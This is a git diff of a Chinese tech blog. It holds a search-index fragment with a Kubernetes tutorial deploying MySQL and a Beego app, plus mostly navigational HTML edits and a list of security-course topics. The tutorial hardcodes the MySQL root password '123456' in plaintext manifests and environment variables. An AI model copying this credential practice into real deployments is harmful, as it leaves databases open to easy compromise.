mysql-xqwbt 1/1 Running 0 9m50s# myweb-2c756 1/1 Running 0 12m# myweb-8757q 1/1 Running 0 12m# myweb-g4dpr 1/1 Running 0 12m# myweb-mfcdk 1/1 Running 0 12m# myweb-xr4vq 1/1 Running 0 12m 查看当前pod的详细信息 1kubectl describe pod mysql-mvx5c 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152Name: mysql-mvx5c # Pod 的名称为 "mysql-mvx5c"Namespace: default # Pod 所在的命名空间为 "default"Priority: 0 # Pod 的优先级为 0Node: node1/192.168.64.121 # Pod 分配到的节点为 "node1",节点的 IP 地址为 "192.168.64.121"Start Time: Thu, 13 Jul 2023 19:26:56 +0800 # Pod 启动的时间为 "2023年7月13日19:26:56"Labels: app=mysql # Pod 的标签为 "app=mysql"Annotations: cni.projectcalico.org/podIP: 10.244.166.129/32 # Pod 的注释信息,表示分配给 Pod 的 IP 地址 cni.projectcalico.org/podIPs: 10.244.166.129/32 # Pod 的注释信息,表示分配给 Pod 的 IP 地址Status: Running # Pod 的状态为运行中IP: 10.244.166.129 # Pod 的 IP 地址为 10.244.166.129IPs: IP: 10.244.166.129 # Pod 的 IP 地址为 10.244.166.129Controlled By: ReplicationController/mysql # 控制该 Pod 的 ReplicationController 的名称为 "mysql"Containers: mysql: Container ID: docker://9a9d27ad8b79ebb51439d315425a24da2994527783bb355bfaa2446d4d100099 # 容器的 ID Image: hub.c.163.com/library/mysql # 容器使用的镜像为 "hub.c.163.com/library/mysql" Image ID: docker-pullable://hub.c.163.com/library/mysql@sha256:b2bce1a792237ac5df78877d583f34b09ab023a77130921a6bcce67ce2d24ff0 # 镜像的 ID Port: 3306/TCP # 容器监听的端口为 3306/TCP Host Port: 0/TCP # 宿主机映射的端口为 0/TCP(随机端口) State: Running # 容器的状态为运行中 Started: Thu, 13 Jul 2023 19:27:28 +0800 # 容器启动的时间为 "2023年7月13日19:27:28" Ready: True # 容器是否就绪为 True Restart Count: 0 # 容器重启的次数为 0 Environment: MYSQL_ROOT_PASSWORD: 123456 # 容器环境变量 MYSQL_ROOT_PASSWORD 的值为 "123456" Mounts: /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-qt6gb (ro) # 挂载到容器的目录"/var/run/secrets/kubernetes.io/serviceaccount",来源为名为 "kube-api-access-qt6gb" 的卷Conditions: Type Status Initialized True # Pod 初始化状态为 True Ready True # Pod 就绪状态为 True ContainersReady True # 所有容器就绪状态为 True PodScheduled True # Pod 被成功调度到节点上Volumes: kube-api-access-qt6gb: Type: Projected (a volume that contains injected data from multiple sources) # 卷的类型为 Projected,用于存储从多个来源注入的数据 TokenExpirationSeconds: 3607 # 令牌过期时间为 3607 秒 ConfigMapName: kube-root-ca.crt # 关联的 ConfigMap 的名称为 "kube-root-ca.crt" ConfigMapOptional: <nil> # ConfigMap 可选关联为 nil DownwardAPI: true # 向容器提供自身的相关信息(如标签、注解等)QoS Class: BestEffort # Pod 的 QoS 类型为 BestEffortNode-Selectors: <none> # 没有指定节点选择器Tolerations: node.kubernetes.io/not-ready:NoExecute op=Exists for 300s # 对于节点的 "not-ready" 状态,允许 Pod 在 300 秒内不可执行操作 node.kubernetes.io/unreachable:NoExecute op=Exists for 300s # 对于节点的 "unreachable" 状态,允许 Pod 在 300 秒内不可执行操作Events: <none> # 相关事件信息(无) 得到Mysql在Subnet内网的IP地址10.244.166.129 和登录密码 1234IP: 10.244.166.129 ... Environment: MYSQL_ROOT_PASSWORD: 123456 登录Mysql实例,创建数据库 1kubectl exec -it mysql-mvx5c -- bash 123456789101112root@mysql-mvx5c:/# mysql -u root --password=123456 --default-character-set=utf8# 创建数据库,注意大小写CREATE DATABASE IF NOT EXISTS newsWeb default charset utf8 COLLATE utf8_general_ci;# 使用数据库use newsWeb# 退出数据库及dockerexitexit 下载自定义的Beego-Docker 镜像123sudo docker pull registry.cn-shanghai.aliyuncs.com/itcast-golang/beego-microservices:v4# 查看docker镜像是否已经下载成功sudo docker images 创建Beego的RC副本文件1234567891011121314151617181920212223242526272829303132333435363738394041424344sudo tee golang-beego.yaml <<-'EOF'apiVersion: v1 # 使用的 Kubernetes API 版本为 v1kind: ReplicationController # 资源类型为 ReplicationControllermetadata: name: beego # ReplicationController 的名称为 "beego"spec: replicas: 5 # Pod 的副本数为 5 selector: app: beego # 根据标签选择器 "app=beego" 来管理 Pod template: metadata: labels: app: beego # Pod 的标签为 "app=beego" spec: containers: - name: beego # 容器的名称为 "beego" image: registry.cn-shanghai.aliyuncs.com/itcast-golang/beego-microservices:v4 # 容器使用的镜像为 "registry.cn-shanghai.aliyuncs.com/itcast-golang/beego-microservices:v4" ports: - containerPort: 8080 # 容器监听的端口为 8080 env: - name: MYSQL_SERVICE_HOST # 容器环境变量 MYSQL_SERVICE_HOST 的值为 "10.244.1.8" value: "10.244.166.129" - name: MYSQL_SERVICE_PORT # 容器环境变量 MYSQL_SERVICE_PORT 的值为 "3306" value: "3306" - name: MYSQL_SERVICE_USER # 容器环境变量 MYSQL_SERVICE_USER 的值为 "root" value: "root" - name: MYSQL_SERVICE_PASSWORD # 容器环境变量 MYSQL_SERVICE_PASSWORD 的值为 "123456" value: "123456" - name: MYSQL_SERVICE_DATABASE # 容器环境变量 MYSQL_SERVICE_DATABASE 的值为 "newsWeb" value: "newsWeb"---apiVersion: v1 # 使用的 Kubernetes API 版本为 v1kind: Service # 资源类型为 Servicemetadata: name: beego # Service 的名称为 "beego"spec: type: NodePort # Service 类型为 NodePort ports: - port: 8080 # Service 监听的端口为 8080 nodePort: 30080 # 通过节点的 30080 端口访问 Service selector: app: beego # 根据标签选择器 "app=beego" 来匹配关联的 PodEOF 这里要注意,里面的Mysql环境变量IP、端口、数据库用户名密码等,都是我们上面实例获取到的. 这里实际上是在我们创建一个pods容器的时候,指定的一些环境变量.然后Beego的应用程序会从系统中这些环境变量去取数据. 目前建立了NodePort端口映射,BeegoWeb应用在内网的端口是8080,对外的映射端口是30080.那么30080就是我们外网可以访问的端口号. 装载RC副本文件,创建Beego集群实例1kubectl apply -f golang-beego.yaml 查看Beego的web程序pods是否已经正常启动 1234567891011121314151617kubectl get pods# NAME READY STATUS RESTARTS AGE# beego-9rczj 1/1 Running 0 10s# beego-bckx9 1/1 Running 0 10s# beego-crgsz 1/1 Running 0 10s# beego-m6v94 1/1 Running 0 10s# beego-q2c6m 1/1 Running 0 10s# mysql-gxmhx 1/1 Running 0 9m50s# mysql-sncqg 1/1 Running 0 9m50s# mysql-xqwbt 1/1 Running 0 9m50s# myweb-2c756 1/1 Running 0 33m# myweb-8757q 1/1 Running 0 33m# myweb-g4dpr 1/1 Running 0 33m# myweb-mfcdk 1/1 Running 0 33m# myweb-xr4vq 1/1 Running 0 33m 也可以查看Beego程序的pods的正常输出日志 12345678910111213kubectl logs beego-9rczj create table `article_users` -- -------------------------------------------------- -- Table Structure for `code2/newsWeb/models.ArticleUsers` -- -------------------------------------------------- CREATE TABLE IF NOT EXISTS `article_users` ( `id` bigint AUTO_INCREMENT NOT NULL PRIMARY KEY, `article_id` integer NOT NULL, `user_id` integer NOT NULL ) ENGINE=InnoDB;2023/07/14 01:53:12.584 [I] [asm_amd64.s:1337] http server Running on http://:8080 进入其中一个Beego容器,查看环境变量是否和我们配置的一致 12345678910111213141516171819202122232425262728293031323334353637kubectl exec -it beego-9rczj -- shenv# KUBERNETES_PORT=tcp://10.96.0.1:443# KUBERNETES_SERVICE_PORT=443# BEEGO_PORT_8080_TCP=tcp://10.105.211.185:8080# HOSTNAME=beego-9rczj# MYWEB_PORT_8080_TCP_ADDR=10.105.73.151# MYWEB_SERVICE_HOST=10.105.73.151# SHLVL=1# HOME=/root# MYWEB_PORT_8080_TCP_PORT=8080# MYWEB_PORT_8080_TCP_PROTO=tcp# MYWEB_PORT=tcp://10.105.73.151:8080# MYWEB_SERVICE_PORT=8080# MYWEB_PORT_8080_TCP=tcp://10.105.73.151:8080# TERM=xterm# KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1# MYSQL_SERVICE_PASSWORD=123456# PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin# KUBERNETES_PORT_443_TCP_PORT=443# MYSQL_SERVICE_HOST=10.244.166.129# KUBERNETES_PORT_443_TCP_PROTO=tcp# MYSQL_SERVICE_USER=root# BEEGO_SERVICE_HOST=10.105.211.185# BEEGO_PORT_8080_TCP_ADDR=10.105.211.185# MYSQL_SERVICE_PORT=3306# KUBERNETES_SERVICE_PORT_HTTPS=443# KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443# BEEGO_PORT_8080_TCP_PORT=8080# KUBERNETES_SERVICE_HOST=10.96.0.1# BEEGO_PORT_8080_TCP_PROTO=tcp# PWD=/app# MYSQL_SERVICE_DATABASE=newsWeb# BEEGO_PORT=tcp://10.105.211.185:8080# BEEGO_SERVICE_PORT=8080 验证集群是否成功 注册界面:http://192.168.64.121:30080/register 自己注册,后面才能登录 登陆界面:http://192.168.64.121:30080/login 后端界面 课后任务:使用K8s跑一个个人博客或者论坛 七、K8s架构图","tags":[null,null,null,null],"categories":[null,null,null,null]}] \ No newline at end of file diff --git a/tags/Windows/index.html b/tags/Windows/index.html index 11cf5be9b..f50fe66f6 100644 --- a/tags/Windows/index.html +++ b/tags/Windows/index.html @@ -124,7 +124,7 @@ 背景小李在值守的过程中,发现有CPU占用飙升,出于胆子小,就立刻将...

    应急响应之Windows

    - 总字符数: 28.89K + 总字符数: 28.89K 代码: 6.84K, 文本: 5.58K @@ -135,7 +135,7 @@ -当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时...

    +当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时,...

    应急响应-前菜

    总字符数: 27.68K diff --git "a/tags/\345\272\224\346\200\245\345\223\215\345\272\224/index.html" "b/tags/\345\272\224\346\200\245\345\223\215\345\272\224/index.html" index b5cd2924a..d9dd94d12 100644 --- "a/tags/\345\272\224\346\200\245\345\223\215\345\272\224/index.html" +++ "b/tags/\345\272\224\346\200\245\345\223\215\345\272\224/index.html" @@ -124,7 +124,7 @@ 背景小李在值守的过程中,发现有CPU占用飙升,出于胆子小,就立刻将...

    应急响应之Windows

    - 总字符数: 28.89K + 总字符数: 28.89K 代码: 6.84K, 文本: 5.58K @@ -135,7 +135,7 @@ -当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时...

    +当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时,...

    应急响应-前菜

    diff --git a/topic/index.html b/topic/index.html index 478e369ac..301c5284a 100644 --- a/topic/index.html +++ b/topic/index.html @@ -112,14 +112,14 @@

    PHP从入门到精通

    本系列教程全面系统地介绍PHP编程语言,从基础的PHP语法开始,逐步深入到变量、输出语句(echo、print 和 var_dump)、数据类型和常量的使用.我们将详细讲解字符串处理、条件判断、数组操作、循环结构和函数定义的相关知识.此外,教程亦覆盖了PHP的日期处理、文件包含、文件和目录的操作方法.进阶部分将讨论PHP表单处理、文件上传,以及如何利用PHP与MySQL数据库进行交互.最后,我们将通过一个留言版项目实战,巩固和应用学习到的PHP知识.

    应急响应 - 知攻善防

    知攻善防题解

    +
    +

    操作系统和网络基础文档

    本系列文章将广泛涵盖操作系统和网络基础、Linux、Windows Server以及Kali Linux等多个领域的知识点.内容旨在为广大技术爱好者提供深入的操作系统使用和管理经验,网络配置和安全维护的技巧,以及如何在Kali Linux环境下进行有效的安全渗透测试.我们也会及时更新这些操作系统和工具的最新版本信息以及使用过程中的重要注意事项.

    Web安全基础

    本系列文章深入探讨Web安全领域的基础知识,全面介绍了Web安全相关的专业术语、被动信息收集与主动信息收集技巧、Webshell的概念与实际运用,以及反弹Shell的完整指南和实践应用.我们旨在为读者提供必要的理论架构和实用工具,以帮助他们在网络安全的道路上迈出坚实的一步,不仅提升安全防护能力,也为专业发展奠定基石.

    漏洞复现 - VulHub

    本系列文章将围绕VulHub漏洞复现的主题,分享相关的知识和经验.我们会探讨如何使用VulHub搭建安全测试环境,复现已知漏洞,并提供一些高级技巧和最佳实践.同时,我们也会持续更新关于VulHub的最新版本和使用过程中需要注意的事项.

    Security+

    本系列文章旨在帮助读者精通Security+考试内容,通过详细探讨网络安全原则、威胁分析、风险管理和加密技术等考试要点,为即将参加考试的专业人士提供全面的复习指南.我们将深入浅出地解释复杂的安全概念,分享实用的学习技巧,并提供关键的知识点总结,以确保读者能够在考试中取得优异成绩.

    -
    -

    操作系统和网络基础文档

    本系列文章将广泛涵盖操作系统和网络基础、Linux、Windows Server以及Kali Linux等多个领域的知识点.内容旨在为广大技术爱好者提供深入的操作系统使用和管理经验,网络配置和安全维护的技巧,以及如何在Kali Linux环境下进行有效的安全渗透测试.我们也会及时更新这些操作系统和工具的最新版本信息以及使用过程中的重要注意事项.

    漏洞复现 - VulnHub

    本系列文章将提供关于使用VulnHub进行渗透测试练习的详细指南和心得.我们将深入探讨如何利用VulnHub的环境来复现和研究各种安全漏洞,分享实际渗透测试中的经验技巧,以及介绍VulnHub的最新更新和使用时的注意事项.

    diff --git "a/wiki/MiddlewareDocs/\344\270\200. Nginx\344\273\216\345\205\245\351\227\250\345\210\260\347\262\276\351\200\232(\344\270\212).html" "b/wiki/MiddlewareDocs/\344\270\200. Nginx\344\273\216\345\205\245\351\227\250\345\210\260\347\262\276\351\200\232(\344\270\212).html" index 9987c5693..37c1c0949 100644 --- "a/wiki/MiddlewareDocs/\344\270\200. Nginx\344\273\216\345\205\245\351\227\250\345\210\260\347\262\276\351\200\232(\344\270\212).html" +++ "b/wiki/MiddlewareDocs/\344\270\200. Nginx\344\273\216\345\205\245\351\227\250\345\210\260\347\262\276\351\200\232(\344\270\212).html" @@ -93,7 +93,7 @@
    Nginx
    Apache
    Tomcat
    -
    更多:DevOps
    +
    更多:DevOps
    最近更新
    diff --git "a/wiki/MiddlewareDocs/\344\270\200. Nginx\344\273\216\345\205\245\351\227\250\345\210\260\347\262\276\351\200\232(\344\270\213).html" "b/wiki/MiddlewareDocs/\344\270\200. Nginx\344\273\216\345\205\245\351\227\250\345\210\260\347\262\276\351\200\232(\344\270\213).html" index e8cec75cb..b0f35fa26 100644 --- "a/wiki/MiddlewareDocs/\344\270\200. Nginx\344\273\216\345\205\245\351\227\250\345\210\260\347\262\276\351\200\232(\344\270\213).html" +++ "b/wiki/MiddlewareDocs/\344\270\200. Nginx\344\273\216\345\205\245\351\227\250\345\210\260\347\262\276\351\200\232(\344\270\213).html" @@ -75,7 +75,7 @@
    Nginx
    Apache
    Tomcat
    -
    更多:DevOps
    +
    更多:DevOps
    最近更新
    diff --git "a/wiki/MiddlewareDocs/\344\270\211. Nginx-Examples\344\275\277\347\224\250\350\257\264\346\230\216.html" "b/wiki/MiddlewareDocs/\344\270\211. Nginx-Examples\344\275\277\347\224\250\350\257\264\346\230\216.html" index cee255870..5a2a20ce3 100644 --- "a/wiki/MiddlewareDocs/\344\270\211. Nginx-Examples\344\275\277\347\224\250\350\257\264\346\230\216.html" +++ "b/wiki/MiddlewareDocs/\344\270\211. Nginx-Examples\344\275\277\347\224\250\350\257\264\346\230\216.html" @@ -81,7 +81,7 @@
    Nginx
    Apache
    Tomcat
    -
    更多:DevOps
    +
    更多:DevOps
    最近更新
    diff --git "a/wiki/MiddlewareDocs/\344\272\214. Nginx \351\205\215\347\275\256\346\226\207\344\273\266\350\257\246\350\247\243.html" "b/wiki/MiddlewareDocs/\344\272\214. Nginx \351\205\215\347\275\256\346\226\207\344\273\266\350\257\246\350\247\243.html" index 4718f9d9b..8d827e184 100644 --- "a/wiki/MiddlewareDocs/\344\272\214. Nginx \351\205\215\347\275\256\346\226\207\344\273\266\350\257\246\350\247\243.html" +++ "b/wiki/MiddlewareDocs/\344\272\214. Nginx \351\205\215\347\275\256\346\226\207\344\273\266\350\257\246\350\247\243.html" @@ -73,7 +73,7 @@
    Nginx
    Apache
    Tomcat
    -
    更多:DevOps
    +
    更多:DevOps
    最近更新
    diff --git "a/wiki/MiddlewareDocs/\344\272\224. Tomcat\344\273\216\345\205\245\351\227\250\345\210\260\347\262\276\351\200\232.html" "b/wiki/MiddlewareDocs/\344\272\224. Tomcat\344\273\216\345\205\245\351\227\250\345\210\260\347\262\276\351\200\232.html" index dfa354a57..76889b734 100644 --- "a/wiki/MiddlewareDocs/\344\272\224. Tomcat\344\273\216\345\205\245\351\227\250\345\210\260\347\262\276\351\200\232.html" +++ "b/wiki/MiddlewareDocs/\344\272\224. Tomcat\344\273\216\345\205\245\351\227\250\345\210\260\347\262\276\351\200\232.html" @@ -133,7 +133,7 @@
    Nginx
    Apache
    Tomcat
    -
    更多:DevOps
    +
    更多:DevOps
    最近更新
    diff --git "a/wiki/MiddlewareDocs/\345\233\233. Apache\344\273\216\345\205\245\351\227\250\345\210\260\347\262\276\351\200\232.html" "b/wiki/MiddlewareDocs/\345\233\233. Apache\344\273\216\345\205\245\351\227\250\345\210\260\347\262\276\351\200\232.html" index 6a83701a9..dd81b7015 100644 --- "a/wiki/MiddlewareDocs/\345\233\233. Apache\344\273\216\345\205\245\351\227\250\345\210\260\347\262\276\351\200\232.html" +++ "b/wiki/MiddlewareDocs/\345\233\233. Apache\344\273\216\345\205\245\351\227\250\345\210\260\347\262\276\351\200\232.html" @@ -101,7 +101,7 @@
    Nginx
    Apache
    Tomcat
    -
    更多:DevOps
    +
    更多:DevOps
    最近更新
    diff --git "a/wiki/MonitoringTechDocs/\344\270\200. Zabbix\345\277\253\351\200\237\345\205\245\351\227\250.html" "b/wiki/MonitoringTechDocs/\344\270\200. Zabbix\345\277\253\351\200\237\345\205\245\351\227\250.html" index fcded510c..f2d7fb7e1 100644 --- "a/wiki/MonitoringTechDocs/\344\270\200. Zabbix\345\277\253\351\200\237\345\205\245\351\227\250.html" +++ "b/wiki/MonitoringTechDocs/\344\270\200. Zabbix\345\277\253\351\200\237\345\205\245\351\227\250.html" @@ -77,7 +77,7 @@
    监控基础
    数据监控与报警
    数据可视化
    日志管理
    -
    更多:DevOps
    +
    更多:DevOps
    最近更新
    diff --git "a/wiki/MonitoringTechDocs/\344\270\211. \344\275\277\347\224\250Grafana\345\210\233\345\273\272\345\217\257\350\247\206\345\214\226\351\235\242\346\235\277.html" "b/wiki/MonitoringTechDocs/\344\270\211. \344\275\277\347\224\250Grafana\345\210\233\345\273\272\345\217\257\350\247\206\345\214\226\351\235\242\346\235\277.html" index bf2455692..893b7a345 100644 --- "a/wiki/MonitoringTechDocs/\344\270\211. \344\275\277\347\224\250Grafana\345\210\233\345\273\272\345\217\257\350\247\206\345\214\226\351\235\242\346\235\277.html" +++ "b/wiki/MonitoringTechDocs/\344\270\211. \344\275\277\347\224\250Grafana\345\210\233\345\273\272\345\217\257\350\247\206\345\214\226\351\235\242\346\235\277.html" @@ -98,7 +98,7 @@
    监控基础
    数据监控与报警
    数据可视化
    日志管理
    -
    更多:DevOps
    +
    更多:DevOps
    最近更新
    diff --git "a/wiki/MonitoringTechDocs/\344\272\214. Prometheus\345\277\253\351\200\237\345\205\245\351\227\250.html" "b/wiki/MonitoringTechDocs/\344\272\214. Prometheus\345\277\253\351\200\237\345\205\245\351\227\250.html" index 1e167ce1e..6a8b5fae6 100644 --- "a/wiki/MonitoringTechDocs/\344\272\214. Prometheus\345\277\253\351\200\237\345\205\245\351\227\250.html" +++ "b/wiki/MonitoringTechDocs/\344\272\214. Prometheus\345\277\253\351\200\237\345\205\245\351\227\250.html" @@ -105,7 +105,7 @@
    监控基础
    数据监控与报警
    数据可视化
    日志管理
    -
    更多:DevOps
    +
    更多:DevOps
    最近更新
    diff --git "a/wiki/MonitoringTechDocs/\345\233\233. \344\273\216\351\233\266\346\220\255\345\273\272\346\227\245\345\277\227\351\207\207\351\233\206\346\212\245\350\255\246\347\263\273\347\273\237ELK.html" "b/wiki/MonitoringTechDocs/\345\233\233. \344\273\216\351\233\266\346\220\255\345\273\272\346\227\245\345\277\227\351\207\207\351\233\206\346\212\245\350\255\246\347\263\273\347\273\237ELK.html" index 773bb77f9..f119f401c 100644 --- "a/wiki/MonitoringTechDocs/\345\233\233. \344\273\216\351\233\266\346\220\255\345\273\272\346\227\245\345\277\227\351\207\207\351\233\206\346\212\245\350\255\246\347\263\273\347\273\237ELK.html" +++ "b/wiki/MonitoringTechDocs/\345\233\233. \344\273\216\351\233\266\346\220\255\345\273\272\346\227\245\345\277\227\351\207\207\351\233\206\346\212\245\350\255\246\347\263\273\347\273\237ELK.html" @@ -94,7 +94,7 @@
    监控基础
    数据监控与报警
    数据可视化
    日志管理
    -
    更多:DevOps
    +
    更多:DevOps
    最近更新
    diff --git "a/wiki/VirtDocs/\344\270\200. Esxi\345\256\211\350\243\205\346\225\231\347\250\213.html" "b/wiki/VirtDocs/\344\270\200. Esxi\345\256\211\350\243\205\346\225\231\347\250\213.html" index 2af9264f6..2e8cb9ba8 100644 --- "a/wiki/VirtDocs/\344\270\200. Esxi\345\256\211\350\243\205\346\225\231\347\250\213.html" +++ "b/wiki/VirtDocs/\344\270\200. Esxi\345\256\211\350\243\205\346\225\231\347\250\213.html" @@ -153,7 +153,7 @@
    虚拟化基础
    容器技术
    容器编排
    -
    更多:DevOps
    +
    更多:DevOps
    最近更新
    diff --git "a/wiki/VirtDocs/\344\270\211. \345\244\247\345\236\213\345\210\206\345\270\203\345\274\217k8s\351\233\206\347\276\244\344\273\216\345\205\245\351\227\250\345\210\260\347\262\276\351\200\232.html" "b/wiki/VirtDocs/\344\270\211. \345\244\247\345\236\213\345\210\206\345\270\203\345\274\217k8s\351\233\206\347\276\244\344\273\216\345\205\245\351\227\250\345\210\260\347\262\276\351\200\232.html" index a747dae91..355f891b4 100644 --- "a/wiki/VirtDocs/\344\270\211. \345\244\247\345\236\213\345\210\206\345\270\203\345\274\217k8s\351\233\206\347\276\244\344\273\216\345\205\245\351\227\250\345\210\260\347\262\276\351\200\232.html" +++ "b/wiki/VirtDocs/\344\270\211. \345\244\247\345\236\213\345\210\206\345\270\203\345\274\217k8s\351\233\206\347\276\244\344\273\216\345\205\245\351\227\250\345\210\260\347\262\276\351\200\232.html" @@ -117,7 +117,7 @@
    虚拟化基础
    容器技术
    容器编排
    -
    更多:DevOps
    +
    更多:DevOps
    最近更新
    diff --git "a/wiki/VirtDocs/\344\272\214. Docker\344\273\216\345\205\245\351\227\250\345\210\260\347\262\276\351\200\232.html" "b/wiki/VirtDocs/\344\272\214. Docker\344\273\216\345\205\245\351\227\250\345\210\260\347\262\276\351\200\232.html" index 74f721c19..99e935521 100644 --- "a/wiki/VirtDocs/\344\272\214. Docker\344\273\216\345\205\245\351\227\250\345\210\260\347\262\276\351\200\232.html" +++ "b/wiki/VirtDocs/\344\272\214. Docker\344\273\216\345\205\245\351\227\250\345\210\260\347\262\276\351\200\232.html" @@ -82,7 +82,7 @@
    虚拟化基础
    容器技术
    容器编排
    -
    更多:DevOps
    +
    更多:DevOps
    最近更新